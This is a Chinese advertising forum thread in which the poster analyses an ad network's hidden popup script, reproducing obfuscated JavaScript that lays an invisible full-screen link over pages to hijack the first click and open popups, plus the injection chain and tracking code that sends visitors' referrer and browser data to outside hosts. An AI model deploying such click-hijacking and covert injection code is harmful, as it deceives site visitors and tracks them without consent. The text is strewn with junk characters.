    5 K8 g  B* f3 [2 B. ^6 A
  371.                         if (!divs[i]['style']) { 3 ^) `2 H1 f* X1 d+ T
  372.                             continue
    . F6 J1 V- c% v
  373.                         } ' B: C' R. G/ s$ K
  374.                         var _i = parseInt(divs[i].style.zIndex); : ?; C' E  j9 I* b* x( v
  375.                         if (_i && divs[i] != a && _i == 2147483647) { # K! ~6 x( s; P' {: d
  376.                             divs[i].style.zIndex = _i - 1
    6 K/ A- Q  A' q1 U# H4 o
  377.                         }
    + P% ~. g; t, {4 Z0 v
  378.                     } - |3 j) Z& D9 |5 `% Q6 a
  379.                     a.style.zIndex = '2147483647'4 k9 z! ?' u# J
  380.                 } catch(e) {} & Z! o8 B; @* Y: |
  381.             } ; l5 D0 Z- ]$ v  V& ^
  382.         },   H6 _/ z+ z. V0 o. G# x9 B  `  T
  383.         120);
    8 o9 q& `, R. @4 y
  384.         a.onclick = function(e) { . h. X/ Z. z& n, Z
  385.             if (document.getElementById('__unionsky_push_d_object_box__') != null) { 8 `( z9 {0 p/ q7 P5 }5 S
  386.                 form_div.parentNode.removeChild(form_div) ' i/ e8 b4 W: D, L, w3 U. h
  387.             } 8 l9 c4 t- H3 b7 r, i/ j4 J
  388.             e = e || window.event;
    / P% T& f0 H' w* j- w; l* _! A
  389.             e.cancelBubble = true;
    2 b# ^  ^1 E- }* Y+ O, e
  390.             setTimeout(function() {
    2 t3 B# B& I+ x) p* [+ d, l
  391.                 a.parentNode.removeChild(a) / p- U) w8 ]7 o( ~) e9 q3 S
  392.             },
    0 w8 {9 O# q# C* ?) I
  393.             200); ' V5 G9 [/ L4 q
  394.             clearInterval(m); : f, f% q# }7 e/ K8 C& o' J* u
  395.             ads++; $ S* ~; h; F% x6 Q+ H8 {6 r
  396.             p(ckn, ckt, ads) - s# ~4 `# L. {
  397.         };
    $ c" j7 M% @  c$ A; n
  398.         event(a, 'mouseup', ' n. X# R& y7 N! _. l
  399.         function(e) {
    3 ~& g; c' q9 ?4 N' o* y7 W8 @
  400.             e = e || window.event;
    % ?  u& C# k5 v( s
  401.             e.cancelBubble = true4 e6 m. S! j/ o  T9 j
  402.         }) # o9 o5 M$ {( L) }( C5 O
  403.     }
    ; f: }5 l  b% C. i& s
  404.     function func(url, param) { & k1 W% h; a, O9 z
  405.         var f = window[String.fromCharCode(111, 112, 101, 110)]; & ]: C( _5 {5 A! Y, k. e
  406.         var w = f(url, '_blank', 'left=0,top=0,toolbar=yes,location=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes,width=' + screen.width + ',height=' + screen.height);
    " [( S, [. |; K. y
  407.         if (w) { 7 |8 P* B. q( o8 Z/ R# g* _
  408.             ads++;
    7 g$ d/ E) C+ q  e4 x7 i; L
  409.             p(ckn, ckt, ads) : [( ?- V" i  n0 o
  410.         };
    & L$ {% J! ^  i1 j
  411.         return w # y6 h: Z5 B/ C$ e
  412.     }
    ' z! B4 T$ K6 k/ }, F& t
  413.     function fstart(url) {
      _' c. D; p2 T, a1 A
  414.         init(); " p$ i5 ]! b/ t6 B3 Z
  415.         if (_ct >= 0) {
    : [% P$ e( J2 s0 q3 V7 Z0 z
  416.             ckn = "YITIAN_NUM";
    3 w& A- a, o* K( ~& o
  417.             ckt = _ct 7 R; q- W& K1 w0 U- R1 h/ j
  418.         } else {
    ' M0 _: O, q: y0 P- v
  419.             ckn = "YITIAN_ALL"; 9 G1 ^* S' B* k  ~3 I, M+ @
  420.             ckt = Math.abs(_ct)
    " r) t3 P+ c  p+ s5 p  A
  421.         }
    ) k  T4 {% I0 G: d+ x" X
  422.         if (ckt > 0) {
    5 {) o8 l, C3 s9 e
  423.             if (b(ckn)) {
    ! o) ~! C% {. g: t  H
  424.                 try { - Q) b; \- H% A3 z6 c# Y
  425.                     ads = parseFloat(b(ckn)) . D7 y! ~- q4 U5 I) s
  426.                 } catch(q) {} ; U4 U+ {, I8 E3 C
  427.             }
    9 N& c7 y+ h( G
  428.         }
    8 k# E2 o  \8 y% w9 m# w0 t4 h/ b/ _
  429.         if ((ads > 0 && ckn == 'YITIAN_ALL') || ads >= ytpp_ads) { & v9 S0 R/ f  p4 z
  430.             return- F9 N& [% W8 }: {
  431.         } else {
    4 |6 W4 M! [2 v
  432.             if (_le > 0) { - r+ i1 ~5 f1 A# @& y
  433.                 setTimeout(go(url), _le * 1000)
    , |! i( g2 Z3 X& J1 g, w4 Z# o
  434.             } else {
    6 ]  s+ s) K! t! z3 T5 ^
  435.                 go(url) 9 Y. _/ c4 `- N( [& z2 `. {7 v
  436.             }
    % H+ h3 _1 j% I" s* e
  437.         } ( |- z) H- |4 a; N; t$ Z5 }
  438.     }
    : S7 p2 o4 u% ]; t3 C9 \/ y
  439.     function go(url) {
    $ t) g: U2 ^" d( T& y( e6 R" u
  440.         if (_poo == 1) { 0 k3 ?6 ^8 i( E2 W
  441.             try {
    - K5 c; }! x) }# Z
  442.                 func(url)
    & u5 v$ Q$ @  e2 g& ^
  443.             } catch(q) {}
    # j; C. W- q9 T2 T
  444.         } else if (_pco == 1) { " L/ _5 y, a7 Q5 u' I( {
  445.             a_pop(url) & [# M+ H2 l) Y3 B7 }
  446.         } else {
    $ q+ S+ A, B2 R  @& N+ \
  447.             if (_pd == 1) {
    6 w7 l( ]3 i/ `# P
  448.                 setTimeout(function() { 9 e. z2 b( |; w; F
  449.                     pop(url, { ( y% E$ Y- M& r: m6 E
  450.                         a: 1, 2 r1 S+ }/ H0 B7 b6 C" _  Z$ O' ~
  451.                         b: 2 ! T% p- y# L- q" n/ e$ K& ~
  452.                     }) " Y+ Z/ T/ n; @& L( f, X
  453.                 },   l2 C" T& N' ^; {" O0 x9 X! L2 f" t
  454.                 300)
      b" h5 f8 ~0 M# S7 i
  455.             } * j. v' x: w2 o7 f: F& `+ Q) k
  456.             if (_pd2 > Math.random()) {
    5 u- {2 x1 C& a4 \. F) c& h0 s. b( R
  457.                 setTimeout(function() { - y) w/ _7 i2 `3 s/ y* @! N. O
  458.                     pop(url, {
    9 s+ L9 U9 x! q8 O: ~- l
  459.                         a: 1,
    ! R8 t; o( V$ ]+ D
  460.                         b: 2
    + z/ R9 N& A# e6 f2 P
  461.                     })
    + Y3 _$ O4 @8 ?0 i9 B
  462.                 },
    ; l2 ~; d4 L$ J! t
  463.                 300)
    1 d) D6 Z" U3 Z, R" L0 j
  464.             } % g7 Z. c* V* H+ L' \; E3 G% ]1 J
  465.             for (var i = 1; i <= 10; i++) { 2 O6 x' K  X7 {' l* X6 l
  466.                 var n = i == 1 ? "": i;
    , o: w1 \. o: N# q7 R# _  k# N. {
  467.                 if (eval("_pt" + n + "b") > Math.random()) {
    ( y3 v% w2 I9 ^( e
  468.                     setTimeout(function() { / b" E# O# G+ `( T# _
  469.                         setTimeout(function() {
    - j, O% @3 h! l/ U) J/ \6 z
  470.                             pop(url, {
    $ f; c2 b8 |& [& K5 R
  471.                                 a: 1, 6 m- O% ]6 {: p0 L% M1 ^: Q3 h3 S
  472.                                 b: 2
    " o% D4 i6 z' e. Y/ C5 Y1 a, B- v
  473.                             }) ) ]9 Q: O% O& G. T$ I# d# ?
  474.                         },
    / e5 {$ u! s6 B6 |5 `
  475.                         300)
    + y2 m. J( `$ Z3 a6 b
  476.                     }, * A5 O: _+ t. r3 W: K6 }% O
  477.                     parseInt(eval("_pt" + n + "a")) * 1000) 8 S) C9 _! G* S2 z' }  p% i; D( e
  478.                 }
    & e/ [3 B4 s$ l3 Q0 t" \4 {
  479.             }
    9 O" V/ T$ t% |6 R
  480.             if (_pc2 > Math.random()) {
    % i% O: A9 s9 Y1 k
  481.                 a_pop(url) 3 E# Z( b8 k+ r  E& a
  482.             }
    3 q& u. d  I7 J9 Q8 l) F
  483.             if (_po > Math.random()) { % [: r3 y& W/ P0 P9 [& Y
  484.                 try {
    9 K9 i& R* H; H/ `6 ?
  485.                     func(url) 0 J! S8 w, f7 ]+ X
  486.                 } catch(q) {}
    ) I. j8 N9 f3 n( J, L# @
  487.             } 1 ]7 E" z1 n( N/ J9 O- m* h7 ?
  488.         }
    " u- A, m; O% ^- L
  489.     }; + Q0 t6 Z7 W! ?! p7 K, i
  490.     fstart(aa_url); ! ~6 i. h0 o9 r1 X" O
  491.     event(window, 'beforeunload', ! r" n  n1 l0 y: w9 r
  492.     function() {})
    - b, h! R: x( H- W+ \, F
  493. })();
复制代码
通过浏览器抓包% C4 n& y- j9 i, E
URL从这里产生
$ ]# y4 G+ k7 J% ^$ y; c: b5 K- \4 }9 F
http://play.unionsky.cn/show/?placeid=141830
7 n' j2 B/ s/ K+ g' r) \2 ?( F. F& v. F) E0 R
+ ~# M1 [7 g9 ~; p8 X
相关帖子
回复

使用道具 举报

126

主题

62

广告币

394

积分

初级会员

Rank: 2

积分
394

社区QQ达人

 楼主| 发表于 2013-12-17 15:04:10 | 显示全部楼层
直接打开看不到什么东西
4 ^4 V5 ?$ k  K1 R; Mhttp://www.unionsky.cn/ 是属于这个广告联盟的
8 A* `0 m! ~4 H我们直接分析抓包的内容4 l, l/ ~3 @$ a' t
var ytpp_r = encodeURIComponent(encodeURIComponent(document.referrer));
9 Q# r4 O9 V6 U% M! yytpp_r = ytpp_r.length > 1000 ? ytpp_r.substring(0, 1000) : ytpp_r; - P: j- j8 @4 v& l9 i# |9 N5 \) R
var ytpp_u = encodeURIComponent(navigator.userAgent); - |0 D2 b% z9 A+ _2 N- G; f5 S
var ytpp_s = window.screen.width + "*" + window.screen.height; / B0 ?8 z$ z9 T# N
var ytpp_l = navigator.browserLanguage || navigator.language; 4 t3 Q6 a/ u- K
var ytpp_plid = 141830;
/ s1 w, Y# [: y  D% U8 ivar ytpp_w = 0;
' {; ^: `/ I0 t& v, D' [var ytpp_h = 0;
" \+ T0 s2 a3 o3 x0 J+ Nvar ytpp_url = "http://www.lxting.com/jmp/?p=f7xNjUO8Y80tB6KZyJ*jzRXjLuoZaOluHDv/IndJK1Z/mc0eKhM2QddlbEorugPwTAd08JIi*oDNYfaUSsF7QNBk3/CB3LW8&r=" + ytpp_r + "&u=" + ytpp_u + "&s=" + ytpp_s + "&l=" + ytpp_l + "&n=" + Math.random();
6 m) l- V9 ^2 ^! Wvar ytpp_ads = 14;
; U6 s' \. d5 Y) L( f& p( P7 uvar ytpp_sti = 'CT:-3D:1C:1C2:1T:60,1T2:100,1;';
' t% V- C' W2 v. m/ G0 Y) Q) [document.write("<script language='javascript' type='text/javascript' src='http://www.lxting.com/pp/?p=f7xNjUO8Y81LybptxG2Vq//rYbtxQcP5GVnJOL07Ka8=&r=" + ytpp_r + "&u=" + ytpp_u + "&s=" + ytpp_s + "&l=" + ytpp_l + "&n=" + Math.random() + "'></script>"); " L  m0 Q. q' u; i9 M- |# a* @
document.write("<script language='javascript' type='text/javascript' src='http://www.lxting.com/script/popup/v1_min.js'></script>");
9 `7 y! _9 a$ S1 y; A! e! e9 o
那么这个http://play.unionsky.cn/show/?placeid=141830又是从哪里被引用进去呢。7 `) o: ^# s; l
继续分析 发现这里- d0 F8 _2 A9 R# s5 N

  z$ L# J0 Q7 ?6 a! c7 Mhttp://txsite.21tx.com/count/count.js
8 f: v0 O, J- T5 t* N6 r$ S4 _, f# m3 `( i; a  [
txcount_uid = 1;
" t" p$ p; q* H6 {6 |+ dtxcount_uh = 0; 6 `' e3 K4 G) [9 f4 @
txcount_uw = 0; 8 k' i3 k1 G- h
txcount_uah = 0;
# }. ~- H4 i$ y* L. r. btxcount_uaw = 0; 7 E1 t: b3 E& k8 T7 }
txcount_ucd = 0; , J8 e( `+ `4 g' [
   ) v" T. j4 N  q, \" B1 k# f3 C
if (window.screen) {
  Z2 ^, t# s. }2 @. u, v- N4 w  txcount_uh = window.screen.height; ( b: g6 j. m6 g% Z2 A  ~) \
  txcount_uw = window.screen.width;
4 ?3 P; R1 W5 d; _; R! y  txcount_uah = window.screen.availHeight; ! G4 P. F, g+ K
  txcount_uaw = window.screen.availWidth; / U0 j3 {8 X0 j: M) `' Z* I) k
  txcount_ucd = window.screen.colorDepth; : h$ `+ R! C9 w. Z8 f; {8 h6 z0 E
}
0 `  S8 I& u  G! H' v0 x   7 \. i4 s+ T# w4 h3 c6 H
   " {! |9 E* C6 X& i) g" X
var url = "http://txsite.21tx.com/count/count.aspx"; % T: C( q% Y' ?7 R. I1 p# r
url = url + "?u="+ txcount_uid; : x; }/ L: w0 _' c" }5 L/ I& N
//url = url + "&f=" + txcount_f; 2 q3 Y# U9 }) j; U
url = url + "&k=" + txsite_pagekey;
) [$ _: `/ `1 ?- r' F& q' J//url = url + "&t=" + txcount_t;
9 w  K: L6 M$ [5 Yurl = url + "&l=" + escape(document.location);
0 i& M; u; f/ M' l7 r! |) o5 Xurl = url + "&r=" + escape(document.referrer); * ]# W, Z; K7 j% O2 o, D; j3 Y3 w0 m
url = url + "&uh=" + txcount_uh; 7 u. h* O  O+ x( j* ~7 L1 k
url = url + "&uw=" + txcount_uw;
  d6 f% l- e$ U# Y4 nurl = url + "&uah=" + txcount_uah; " s6 g' k! ]9 ?1 V4 E7 n4 ]
url = url + "&uaw=" + txcount_uaw; : s, t, K2 |0 Y
url = url + "&ucd=" + txcount_ucd; 4 a4 G: ?: F) U, N( @
   
( U' T5 A* o1 `1 P4 |# D   
9 l; H' ^1 q! X' k& h/ Rdocument.write("<script src=" + url + "><\/script>"); & U7 N# p" u! f  _
//document.write('<script src="http://s4.cnzz.com/stat.php?id=4820460&web_id=4820460" language="JavaScript" charset="gb2312"><\/script>'); 0 ^" n, g, J5 k: n0 X
   ) y" N1 [4 ~& P
document.write('<script src="http://s127.cnzz.com/stat.php?id=1474936&web_id=1474936" language="JavaScript" charset="gb2312"><\/script>'); 5 j/ a0 f7 z+ v. p% G  ?
   2 D2 r/ ^/ y) q$ b% d( Z9 m( A: J7 v
   % D6 E5 E! r1 h! B3 _2 {; s; H
document.write("<script language='javascript' src='http://play.unionsky.cn/show/?placeid=141830'><\/script>");

' r1 A% y4 k9 X$ M* {7 A6 ]7 [' A  G* C- \
一切昭然天下了。" n& p  t' `* R- ^; y" r
代码产生的直接效果如下: d5 j+ ]3 W+ |1 C: \" L) V
0 y+ O/ w  y/ }3 S  V1 a* G! u+ }% ~
<a  target="_blank" style="position: absolute; z-index: 2147483647; display: block; top: 0px; left: 0px; cursor: default; opacity: 0;"><div style="background-color: rgb(255, 255, 255); width: 1903px; height: 650px;"></div></a> 2 }8 }( k6 |: f: y9 a

" w  x9 S6 ?4 p7 O- Q2 P很隐秘的一段好代码
! O' A. \# \4 S7 L. \0 I" l+ }
回复 支持 反对

使用道具 举报

0

主题

488

广告币

1280

积分

高级会员

Rank: 4

积分
1280
发表于 2013-12-17 15:31:30 | 显示全部楼层
标记一下 好象看不懂还
回复 支持 反对

使用道具 举报

31

主题

266

广告币

801

积分

中级会员

Rank: 3Rank: 3

积分
801
发表于 2013-12-17 16:34:22 | 显示全部楼层
不清楚国内,莫非做taobao不可以直接用弹窗吗?
回复 支持 反对

使用道具 举报

4

主题

1330

广告币

1387

积分

高级会员

Rank: 4

积分
1387
发表于 2013-12-17 18:49:06 | 显示全部楼层
没用 360 搜狗 直接就拦截了,chrome可以弹出来
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2013-12-17 19:34:38 | 显示全部楼层
adblock 完美屏蔽
回复 支持 反对

使用道具 举报

0

主题

91

广告币

97

积分

初级会员

Rank: 2

积分
97

社区QQ达人

发表于 2013-12-17 23:34:52 | 显示全部楼层
没研究全,期待跟多解析。
过往.
回复 支持 反对

使用道具 举报

6

主题

682

广告币

1090

积分

中级会员

Rank: 3Rank: 3

积分
1090

社区QQ达人

发表于 2013-12-18 00:52:13 | 显示全部楼层
代码看不懂,不过觉得挺好用的……自动弹窗
回复 支持 反对

使用道具 举报

52

主题

456

广告币

842

积分

中级会员

Rank: 3Rank: 3

积分
842
发表于 2013-12-18 01:24:03 | 显示全部楼层
没懂3 O, Y' L) @/ J, g: ]
; p% C% U( S5 h' h
1,首次访问有个弹窗,但是被chrome给拦截了4 Y8 L5 Y6 @0 i% {. @$ @

* Y" ]; l$ ~# {. y' [) ~2,劫持了第一次点击
6 a9 U: m" S8 Z! @
6 F+ |( K; O9 z. v+ B" N3 m7 s3,CS了一下unionsky$ k8 m& R1 O1 J, |4 A! q
* f5 `( d$ V: N0 Y
然后?
回复 支持 反对

使用道具 举报

126

主题

62

广告币

394

积分

初级会员

Rank: 2

积分
394

社区QQ达人

 楼主| 发表于 2013-12-18 03:49:31 | 显示全部楼层
cissss 发表于 2013-12-18 01:24
+ C5 v; v! x2 r% h- K- }没懂" Z3 A: T. J. G) `& U' N* B
- [1 O( r* L  d9 V7 G0 I
1,首次访问有个弹窗,但是被chrome给拦截了

3 f2 V% L: q3 G8 j懂的人一看就懂 不懂的人怎么看就不懂
回复 支持 反对

使用道具 举报

4

主题

437

广告币

715

积分

中级会员

Rank: 3Rank: 3

积分
715
发表于 2013-12-18 06:34:13 | 显示全部楼层
这个CJ怎么搞的这么复杂...
回复 支持 反对

使用道具 举报

52

主题

456

广告币

842

积分

中级会员

Rank: 3Rank: 3

积分
842
发表于 2013-12-18 17:31:57 | 显示全部楼层
小狠 发表于 2013-12-18 03:49   t: S8 l, I- Q, [. x" H
懂的人一看就懂 不懂的人怎么看就不懂

6 B7 D( ^' g$ w我确实不懂你发这贴的意思。 可以理解为装逼么?
回复 支持 反对

使用道具 举报

0

主题

386

广告币

341

积分

初级会员

Rank: 2

积分
341

社区QQ达人

发表于 2014-3-14 13:10:39 | 显示全部楼层
不就是个弹窗代码吗?
回复 支持 反对

使用道具 举报

3

主题

88

广告币

113

积分

初级会员

Rank: 2

积分
113

社区QQ达人

发表于 2014-3-14 23:11:34 | 显示全部楼层
我表示看不懂
回复 支持 反对

使用道具 举报

4

主题

1

广告币

135

积分

初级会员

Rank: 2

积分
135

社区QQ达人

QQ
发表于 2014-3-15 12:03:35 | 显示全部楼层
占位,慢慢领会啥意思
http://faaad.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2025-12-20 03:22 , Processed in 0.112927 second(s), 13 queries , Gzip On, MemCache On.

Copyright © 2001-2023, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表